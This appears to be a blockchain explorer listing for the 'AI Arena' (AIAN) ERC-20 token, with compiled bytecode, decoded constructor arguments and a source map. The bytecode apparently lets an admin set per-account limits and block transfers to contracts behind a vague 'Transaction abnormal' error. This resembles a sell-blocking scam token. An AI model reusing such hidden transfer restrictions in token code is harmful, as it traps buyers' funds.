a4f565b6040516103f49190612139565b60405180910390f35b610405610ab2565b604051610412919061202c565b60405180910390f35b610435600480360381019061043091906120e1565b610b42565b6040516104429190612139565b60405180910390f35b610465600480360381019061046091906120e1565b610c28565b6040516104729190612139565b60405180910390f35b6104956004803603810190610490919061245d565b610c45565b005b6104b160048036038101906104ac91906123eb565b610cc7565b6040516104be9190611f89565b60405180910390f35b6104e160048036038101906104dc91906123eb565b610d3c565b005b6104fd60048036038101906104f8919061249b565b610d5f565b60405161050a9190611f89565b60405180910390f35b61052d600480360381019061052891906123eb565b610de1565b60405161053a9190611f89565b60405180910390f35b60025481565b60606007805461055890612506565b80601f016020809104026020016040519081016040528092919081815260200182805461058490612506565b80156105cf5780601f106105a6576101008083540402835291602001916105cf565b820191905f5260205f20905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b5f6105ec6105e5610e55565b8484610e5c565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600654905090565b5f61062f84848461101f565b5f60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610676610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec906125a6565b60405180910390fd5b61070985610701610e55565b858403610e5c565b60019150509392505050565b5f805f8381526020019081526020015f20600101549050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f801b81565b5f801b61076881610763610e55565b61109d565b5f8061077384611139565b80925081935050505f1515811515036107c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b890612634565b60405180910390fd5b5f82106107f2576107ed86866107e8670de0b6b3a76400008661124a90919063ffffffff16565b61125f565b6107fe565b6107fd86865f61125f565b5b505050505050565b5f801b61081a81610815610e55565b61109d565b61082483836112b9565b505050565b5f6012905090565b5f805f1b61084681610841610e55565b61109d565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610881929190612661565b6020604051808303815f875af115801561089d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c191906126b2565b91505092915050565b5f801b6108de816108d9610e55565b61109d565b6108e6610e55565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094a9061274d565b60405180910390fd5b61095d8383611393565b505050565b5f6109ff61096e610e55565b848460055f61097b610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109fa9190612798565b610e5c565b6001905092915050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060088054610ac190612506565b80601f0160208091040260200160405190810160405280929190818152602001828054610aed90612506565b8015610b385780601f10610b0f57610100808354040283529160200191610b38565b820191905f5260205f20905b815481529060010190602001808311610b1b57829003601f168201915b5050505050905090565b5f8060055f610b4f610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c009061283b565b60405180910390fd5b610c1d610c14610e55565b85858403610e5c565b600191505092915050565b5f610c3b610c34610e55565b848461101f565b6001905092915050565b5f801b610c5981610c54610e55565b61109d565b7f54524144455200000000000000000000000000000000000000000000000000008314610cbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb2906128a3565b60405180910390fd5b81600281905550505050565b5f610d34670de0b6b3a76400005f808681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146d90919063ffffffff16565b905092915050565b5f801b610d5081610d4b610e55565b61109d565b610d5a8383611393565b505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610e4d670de0b6b3a76400005f808681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146d90919063ffffffff16565b905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec190612931565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f906129bf565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110129190611f89565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361108d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108490612a4d565b60405180910390fd5b611098838383611482565b505050565b6110a78282610a4f565b611135576110cc8173ffffffffffffffffffffffffffffffffffffffff166014611580565b6110d9835f1c6020611580565b6040516020016110ea929190612b39565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112c919061202c565b60405180910390fd5b5050565b5f805f5b835181101561123c575f603085838151811061115c5761115b612b72565b5b602001015160f81c60f81b60f81c6111749190612b9f565b60ff1610806111b257506009603085838151811061119557611194612b72565b5b602001015160f81c60f81b60f81c6111ad9190612b9f565b60ff16115b156111c3575f809250925050611245565b60018185516111d29190612bd3565b6111dc9190612bd3565b600a6111e89190612d35565b60308583815181106111fd576111fc612b72565b5b602001015160f81c60f81b60f81c6112159190612b9f565b60ff166112229190612d7f565b8361122d9190612798565b9250808060010191505061113d565b50816001915091505b915091565b5f81836112579190612d7f565b905092915050565b805f808581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b6112c38282610a4f565b61138f5760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611334610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61139d8282610a4f565b15611469575f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061140e610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f818361147a9190612ded565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612e8d565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790612f1b565b60405180910390fd5b61157b8383836117b5565b505050565b60605f60028360026115929190612d7f565b61159c9190612798565b67ffffffffffffffff8111156115b5576115b461225b565b5b6040519080825280601f01601f1916602001820160405280156115e75781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f8151811061161e5761161d612b72565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061168157611680612b72565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f60018460026116bf9190612d7f565b6116c99190612798565b90505b6001811115611768577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061170b5761170a612b72565b5b1a60f81b82828151811061172257611721612b72565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c94508061176190612f39565b90506116cc565b505f84146117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290612faa565b60405180910390fd5b8091505092915050565b5f151560095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611889576118337f5452414445520000000000000000000000000000000000000000000000000000846112b9565b600160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b611894838383611899565b505050565b5f151560095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361196d576119177f5452414445520000000000000000000000000000000000000000000000000000836112b9565b600160095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b61197883838361197d565b505050565b61198883838361198d565b505050565b5f8111156119cd576119c17f54524144455200000000000000000000000000000000000000000000000000008484846119d2565b6119cc838383611b86565b5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a5257611a517f54524144455200000000000000000000000000000000000000000000000000008483611dfe565b5b611a5b83611e8d565b8015611ab4575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611aff57603260025403611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af590613038565b60405180910390fd5b5b5f670de0b6b3a7640000611b138686610de1565b611b1d9190612d7f565b90505f811115611b65575f82670de0b6b3a7640000611b3c8888610cc7565b611b469190612d7f565b611b509190612798565b9050611b5f8686858585611eaf565b50611b7e565b5f821480611b7257505f81145b15611b7d5750611b80565b5b505b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90612a4d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5990612e8d565b60405180910390fd5b611c6d838383611f0c565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce890612f1b565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d819190612798565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611de59190611f89565b60405180910390a3611df8848484611f11565b50505050565b5f811115611e88575f670de0b6b3a7640000611e1a8585610de1565b611e249190612d7f565b905060636002541115611e86575f611e45838361146d90919063ffffffff16565b11611e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7c90613038565b60405180910390fd5b5b505b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f831115611f0557818110611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090613038565b60405180910390fd5b611f04858583611f16565b5b5050505050565b505050565b505050565b805f808581526020019081526020015f206002016001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f819050919050565b611f8381611f71565b82525050565b5f602082019050611f9c5f830184611f7a565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611fd9578082015181840152602081019050611fbe565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611ffe82611fa2565b6120088185611fac565b9350612018818560208601611fbc565b61202181611fe4565b840191505092915050565b5f6020820190508181035f8301526120448184611ff4565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120868261205d565b9050919050565b6120968161207c565b81146120a0575f80fd5b50565b5f813590506120b18161208d565b92915050565b6120c081611f71565b81146120ca575f80fd5b50565b5f813590506120db816120b7565b92915050565b5f80604083850312156120f7576120f6612055565b5b5f612104858286016120a3565b9250506020612115858286016120cd565b9150509250929050565b5f8115159050919050565b6121338161211f565b82525050565b5f60208201905061214c5f83018461212a565b92915050565b5f819050919050565b61216481612152565b82525050565b5f60208201905061217d5f83018461215b565b92915050565b5f805f6060848603121561219a57612199612055565b5b5f6121a7868287016120a3565b93505060206121b8868287016120a3565b92505060406121c9868287016120cd565b9150509250925092565b6121dc81612152565b81146121e6575f80fd5b50565b5f813590506121f7816121d3565b92915050565b5f6020828403121561221257612211612055565b5b5f61221f848285016121e9565b91505092915050565b5f6020828403121561223d5761223c612055565b5b5f61224a848285016120a3565b91505092915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61229182611fe4565b810181811067ffffffffffffffff821117156122b0576122af61225b565b5b80604052505050565b5f6122c261204c565b90506122ce8282612288565b919050565b5f67ffffffffffffffff8211156122ed576122ec61225b565b5b6122f682611fe4565b9050602081019050919050565b828183375f83830152505050565b5f61232361231e846122d3565b6122b9565b90508281526020810184848401111561233f5761233e612257565b5b61234a848285612303565b509392505050565b5f82601f83011261236657612365612253565b5b8135612376848260208601612311565b91505092915050565b5f805f6060848603121561239657612395612055565b5b5f6123a3868287016121e9565b93505060206123b4868287016120a3565b925050604084013567ffffffffffffffff8111156123d5576123d4612059565b5b6123e186828701612352565b9150509250925092565b5f806040838503121561240157612400612055565b5b5f61240e858286016121e9565b925050602061241f858286016120a3565b9150509250929050565b5f60ff82169050919050565b61243e81612429565b82525050565b5f6020820190506124575f830184612435565b92915050565b5f806040838503121561247357612472612055565b5b5f612480858286016121e9565b9250506020612491858286016120cd565b9150509250929050565b5f80604083850312156124b1576124b0612055565b5b5f6124be858286016120a3565b92505060206124cf858286016120a3565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061251d57607f821691505b6020821081036125305761252f6124d9565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f612590602583611fac565b915061259b82612536565b604082019050919050565b5f6020820190508181035f8301526125bd81612584565b9050919050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f61261e602383611fac565b9150612629826125c4565b604082019050919050565b5f6020820190508181035f83015261264b81612612565b9050919050565b61265b8161207c565b82525050565b5f6040820190506126745f830185612652565b6126816020830184611f7a565b9392505050565b6126918161211f565b811461269b575f80fd5b50565b5f815190506126ac81612688565b92915050565b5f602082840312156126c7576126c6612055565b5b5f6126d48482850161269e565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f612737602f83611fac565b9150612742826126dd565b604082019050919050565b5f6020820190508181035f8301526127648161272b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6127a282611f71565b91506127ad83611f71565b92508282019050808211156127c5576127c461276b565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612825602583611fac565b9150612830826127cb565b604082019050919050565b5f6020820190508181035f83015261285281612819565b9050919050565b7f6e756d6c617374206973206e6f742061206e756d6265720000000000000000005f82015250565b5f61288d601783611fac565b915061289882612859565b602082019050919050565b5f6020820190508181035f8301526128ba81612881565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61291b602483611fac565b9150612926826128c1565b604082019050919050565b5f6020820190508181035f8301526129488161290f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129a9602283611fac565b91506129b48261294f565b604082019050919050565b5f6020820190508181035f8301526129d68161299d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a37602583611fac565b9150612a42826129dd565b604082019050919050565b5f6020820190508181035f830152612a6481612a2b565b9050919050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612aa9601783612a6b565b9150612ab482612a75565b601782019050919050565b5f612ac982611fa2565b612ad38185612a6b565b9350612ae3818560208601611fbc565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f612b23601183612a6b565b9150612b2e82612aef565b601182019050919050565b5f612b4382612a9d565b9150612b4f8285612abf565b9150612b5a82612b17565b9150612b668284612abf565b91508190509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612ba982612429565b9150612bb483612429565b9250828203905060ff811115612bcd57612bcc61276b565b5b92915050565b5f612bdd82611f71565b9150612be883611f71565b9250828203905081811115612c0057612bff61276b565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612c5b57808604811115612c3757612c3661276b565b5b6001851615612c465780820291505b8081029050612c5485612c06565b9450612c1b565b94509492505050565b5f82612c735760019050612d2e565b81612c80575f9050612d2e565b8160018114612c965760028114612ca057612ccf565b6001915050612d2e565b60ff841115612cb257612cb161276b565b5b8360020a915084821115612cc957612cc861276b565b5b50612d2e565b5060208310610133831016604e8410600b8410161715612d045782820a905083811115612cff57612cfe61276b565b5b612d2e565b612d118484846001612c12565b92509050818404811115612d2857612d2761276b565b5b81810290505b9392505050565b5f612d3f82611f71565b9150612d4a83611f71565b9250612d777fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c64565b905092915050565b5f612d8982611f71565b9150612d9483611f71565b9250828202612da281611f71565b91508282048414831517612db957612db861276b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612df782611f71565b9150612e0283611f71565b925082612e1257612e11612dc0565b5b828204905092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e77602383611fac565b9150612e8282612e1d565b604082019050919050565b5f6020820190508181035f830152612ea481612e6b565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f612f05602383611fac565b9150612f1082612eab565b604082019050919050565b5f6020820190508181035f830152612f3281612ef9565b9050919050565b5f612f4382611f71565b91505f8203612f5557612f5461276b565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f612f94602083611fac565b9150612f9f82612f60565b602082019050919050565b5f6020820190508181035f830152612fc181612f88565b9050919050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f613022602683611fac565b915061302d82612fc8565b604082019050919050565b5f6020820190508181035f83015261304f81613016565b905091905056fea2646970667358221220d7e4aa42ea8e565bc8ca7c0b0f7668d43b96ea73a95e5001a21a7ecff562955464736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000800000000000000000000000004485b69d9a6e998bbeefe9ada29a3e18a755749f00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000084149204172656e6100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044149414e00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): AI Arena
Arg [1] : _tokenOwner (address): 0x4485B69D9A6e998BbEEfe9aDA29A3e18A755749F
Arg [2] : _symbol (string): AIAN
Arg [3] : _totalSupply (uint256): 100000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 0000000000000000000000004485b69d9a6e998bbeefe9ada29a3e18a755749f
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 4149204172656e61000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4149414e00000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

27172:2599:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15549:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21297:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22265:188;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15458:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21618:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22461:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17877:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15580:40;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15414:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16388:497;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18008:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21517:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29559:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18294:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22983:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21734:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15736:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21405:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23281:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21879:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16895:217;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17682:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18150:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22081:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17489:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15549:22;;;;:::o;21297:100::-;21351:13;21384:5;21377:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21297:100;:::o;22265:188::-;22370:4;22387:36;22396:12;:10;:12::i;:::-;22410:7;22419:3;22387:8;:36::i;:::-;22441:4;22434:11;;22265:188;;;;:::o;15458:50::-;15491:17;15458:50;:::o;21618:108::-;21679:7;21706:12;;21699:19;;21618:108;:::o;22461:514::-;22598:4;22615:33;22625:6;22633:9;22644:3;22615:9;:33::i;:::-;22661:24;22688:11;:19;22700:6;22688:19;;;;;;;;;;;;;;;:33;22708:12;:10;:12::i;:::-;22688:33;;;;;;;;;;;;;;;;22661:60;;22774:3;22754:16;:23;;22732:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;22878:54;22887:6;22895:12;:10;:12::i;:::-;22928:3;22909:16;:22;22878:8;:54::i;:::-;22963:4;22956:11;;;22461:514;;;;;:::o;17877:123::-;17943:7;17970:6;:12;17977:4;17970:12;;;;;;;;;;;:22;;;17963:29;;17877:123;;;:::o;15580:40::-;;;;;;;;;;;;;;;;;;;;;;:::o;15414:36::-;15446:4;15414:36;;;:::o;16388:497::-;15446:4;16507:5;;15678:30;15689:4;15695:12;:10;:12::i;:::-;15678:10;:30::i;:::-;16525:16:::1;16552:8:::0;16589:22:::1;16607:3;16589:17;:22::i;:::-;16571:40;;;;;;;;16633:5;16626:12;;:3;:12;;::::0;16622:90:::1;;16655:45;;;;;;;;;;:::i;:::-;;;;;;;;16622:90;16747:1;16735:8;:13;16732:146;;16764:46;16777:4;16782;16787:22;16800:8;16787;:12;;:22;;;;:::i;:::-;16764:12;:46::i;:::-;16732:146;;;16841:25;16854:4;16859;16864:1;16841:12;:25::i;:::-;16732:146;16514:371;;16388:497:::0;;;;:::o;18008:134::-;15446:4;18091:5;;15678:30;15689:4;15695:12;:10;:12::i;:::-;15678:10;:30::i;:::-;18109:25:::1;18120:4;18126:7;18109:10;:25::i;:::-;18008:134:::0;;;:::o;21517:93::-;21575:5;21600:2;21593:9;;21517:93;:::o;29559:205::-;29675:12;15446:4;29659:5;;15678:30;15689:4;15695:12;:10;:12::i;:::-;15678:10;:30::i;:::-;29714:12:::1;29707:29;;;29737:10;29749:6;29707:49;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;29700:56;;29559:205:::0;;;;;:::o;18294:234::-;15446:4;18380:5;;15678:30;15689:4;15695:12;:10;:12::i;:::-;15678:10;:30::i;:::-;18417:12:::1;:10;:12::i;:::-;18406:23;;:7;:23;;;18398:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;18494:26;18506:4;18512:7;18494:11;:26::i;:::-;18294:234:::0;;;:::o;22983:290::-;23096:4;23113:130;23136:12;:10;:12::i;:::-;23163:7;23222:10;23185:11;:25;23197:12;:10;:12::i;:::-;23185:25;;;;;;;;;;;;;;;:34;23211:7;23185:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;23113:8;:130::i;:::-;23261:4;23254:11;;22983:290;;;;:::o;21734:137::-;21821:7;21848:9;:15;21858:4;21848:15;;;;;;;;;;;;;;;;21841:22;;21734:137;;;:::o;15736:139::-;15814:4;15838:6;:12;15845:4;15838:12;;;;;;;;;;;:20;;:29;15859:7;15838:29;;;;;;;;;;;;;;;;;;;;;;;;;15831:36;;15736:139;;;;:::o;21405:104::-;21461:13;21494:7;21487:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21405:104;:::o;23281:475::-;23399:4;23416:24;23443:11;:25;23455:12;:10;:12::i;:::-;23443:25;;;;;;;;;;;;;;;:34;23469:7;23443:34;;;;;;;;;;;;;;;;23416:61;;23530:15;23510:16;:35;;23488:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;23646:67;23655:12;:10;:12::i;:::-;23669:7;23697:15;23678:16;:34;23646:8;:67::i;:::-;23744:4;23737:11;;;23281:475;;;;:::o;21879:194::-;21987:4;22004:39;22014:12;:10;:12::i;:::-;22028:9;22039:3;22004:9;:39::i;:::-;22061:4;22054:11;;21879:194;;;;:::o;16895:217::-;15446:4;16985:5;;15678:30;15689:4;15695:12;:10;:12::i;:::-;15678:10;:30::i;:::-;15491:17:::1;17006:4;:14;17003:78;;17036:33;;;;;;;;;;:::i;:::-;;;;;;;;17003:78;17101:3;17091:7;:13;;;;16895:217:::0;;;:::o;17682:185::-;17791:7;17818:41;17850:8;17818:6;:12;17825:4;17818:12;;;;;;;;;;;:15;;:18;;:27;17837:7;17818:27;;;;;;;;;;;;;;;;:31;;:41;;;;:::i;:::-;17811:48;;17682:185;;;;:::